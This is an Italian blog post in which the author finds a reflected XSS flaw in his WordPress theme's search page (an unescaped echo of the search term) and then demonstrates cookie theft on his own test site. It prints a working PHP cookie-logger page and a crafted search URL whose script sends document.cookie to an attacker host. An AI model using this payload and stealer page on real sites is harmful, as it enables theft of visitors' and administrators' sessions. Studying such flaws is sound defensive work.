Michele Manzotti

Un paio di settimane fa stavo leggendo su internet le notizie quando ad un certo punto la mia attenzione cadde su un particolare caso di attacco XSS cross site scripting su un noto sito. Il portale in questione è di una grossa compagnia e offre un servizio di prenotazione online utilizzato da milioni di utenti tutti i giorni. Proprio per la sua grandezza e importanza mi domandai se anche il mio modesto web site soffrisse di tale vulnerabilità. Non immaginavo minimamente che una piattaforma come WordPress potesse essere bucabile… e invece!

Così quasi per sbaglio inniettai del codice java script all’interno della mia unica form: la funzione search in alto a destra. Un codice molto simile a questo:

<script>alert('Ahi ahi Michele!')</script>

E il risultato fu un “bel” alert, proprio come questo:

Capì immediatamente che il mio sito era vulnerabile!!!

Purtroppo anche il test di blogsecurify confermava questa vulnerabilità:

Così iniziai a googlare in giro per capire se altre persone con WordPress soffrissero di tale vulnerabilità. Mi accorsi che il problema era già stato affrontato in passato con le vecchie versioni 2.5 e precedenti, mentre io montavo l’ultima la 2.7.1!

A questo punto pensai che probabilmente durante un aggiornamento automatico dalla 2.7 alla 2.7.1 mi ero beccato un bel worm. Insomma avevo aggiornato una fake WordPress. In effetti un mese fa girava voce di questo finto aggiornamento di WordPress. Inoltre, ad ogni login, notavo uno strano banner nel pannello di controllo che mi diceva di aggiornare la piattaforma quando in realtà già avevo updato tutto alla 2.7.1:

Decisi allora di rinstallare WordPress 2.7.1 scaricata dal sito ufficiale, su un mio sotto-dominio http://test.manzotti.eu/wordpress con tutti i contenuti e i plugin in modo da cercare di capire se si trattasse veramente di una fake WordPress. Ma non ebbi i risultati aspettati. Anche la nuova fiammante WordPress 2.7.1 soffriva di tale vulnerabilità.

Visto che ero l’unico a soffrirne dedusi che il problema non era tanto nella piattaforma WordPress quanto nel template o i plugin che avevo caricato.

La prima cosa che mi venne in mente a questo punto fu quella di capire dove la funzione search venisse richiamata all’interno dei file php presenti nel mio ftp. Visto che non avevo nessun plugin che mi modificava gli input o i risultati di tale funzione, l’osservazione ricadde proprio nel template. Così diedi uno sguardo al file search.php del template e mi accorsi che proprio nelle prime righe si trovava un echo incontrollato che exploitava il mio sito:

[...]""<?php echo $s; ?>"[...]

Mandai immediatamente un email di notifica allo “sviluppatore” di questo template dicendogli di fixare il codice. Finora non ho ricevuto risposta. Tra l’altro mi accorsi che anche il suo sito sul qualche hostava i template era vulnerabile al XSS cross site scripting. Da questo capì perchè ancora non ho avuto risposta alla email di notifica.

Fissato il template, a questo punto mi domandai cosa realmente potesse fare un attaccante sul mio sito. Come potesse sfruttare questo buco. Mi documentai un pò e giunsi alla conclusione che tramite il XSS cross site scripting è possibile rubare i cookie di chi visita il sito, anche quelli dell’amministratore! Decisi allora di provare questa tecnica.

La teoria è semplice: si hosta una pagina php che lavora come una sorta di keylogger dei cookie. Successivamente si rindirizza l’amministratore su un link che punta al suo sito ma ignaro di tutto gli vengono sottratti i cookie.
Magari con questo caso di studio è possibile capire meglio il funzionamento. Il nostro scenario sarà di questo tipo:

http://test.manzotti.eu --> sito vulnerabile
http://manzotti.eu --> sito dell'attaccante

La nostra pagina php che farà da keylogger sfruttando appunto la vulnerabilità XSS sarà come la seguente:

<?php
$filename = "cookie.txt";
$handle = fopen($filename, 'a');
fwrite($handle, "\r\n" . $_GET["cookie"]);
fclose($handle);
Header( "Location: http://test.manzotti.eu/wordpress" );
?>

Questo file essenzialmente eseguirà una interrogazione al browser dell’amministratore sottraendogli i cookie e successivamente scrivendoli in file cookie.txt. Infine reindirizzerà l’utente sul proprio sito. Dunque con il nostro scenario, su http://manzotti.eu avremo sia la pagina php caricata che i cookie rubati. Ora non ci resta che creare un URI ad hoc in modo che sfrutti la XSS e richiami la pagina cookie.php presente nel sito dell’attaccante. In questo modo all’amministratore verranno rubati i cookie. L’URI in questione è la seguente:

http://test.manzotti.eu/wordpress/?s=<script>location.href='http://manzotti.eu/cookie.php?cookie= '%2Bescape(document.cookie)</script>

Credo che non ci sia bisogno di spiegazione, tuttavia si vede che sfruttando la “s” della funzione search si rinderizza l’utente sul sito dell’attaccante passandogli come parametro i suoi cookie. Infine sarà la pagina cookie.php stessa a riportare l’utente sul sito vittima: http://test.manzotti.eu.

A questo punto l’attaccante potrà godersi lo spettacolo e controllare che i cookie dell’amministratore vengano registrati nel txt appena creato:

Ovviamente sarà necessario da parte dell’attaccante convincere o utilizzare altre tecniche note per far si che la vittima passi attraverso la URI contraffatta.

C’è da dire anche che WordPress autentica all’interno del pannello di controllo solamente tramite un cookie della forma:

Name: wordpress_1a2b4c5d6e7f89...abc
Content: admin%1a2b3c4d5...abc
Host: test.manzotti.eu
Path: /wordpress/wp-admin

Di conseguenza i cookie che siamo riusciti a raccogliere precedentemente non permettono una autenticazione all’interno di questo CMS. Tuttavia questo vale per il caso specifico di WordPress e nulla vieta che in presenza di altri CMS o siti vulnerabili non otterremo i cookie giusti. Infatti la tecnica del XSS Cross Site Scripting è oggi una delle più utilizzate e insieme all’ SQL Injection costituiscono la base per effettuare attacchi di grossa rilevanza.

Vorrei aggiungere anche che non ho avuto modo di approfondire in maniera più dettagliata la questione. Quindi dalla mia dico che WordPress in questo caso si è dimostrato “sicuro”.
Mi piacerebbe sapere se qualcuno ha avuto esperienze simili e dunque spiegarmi se fosse realmente possibile raccogliere quel tipo di cookie che ho appena descritto.

In questo caso vi invito a commentare e/o contattarmi via email.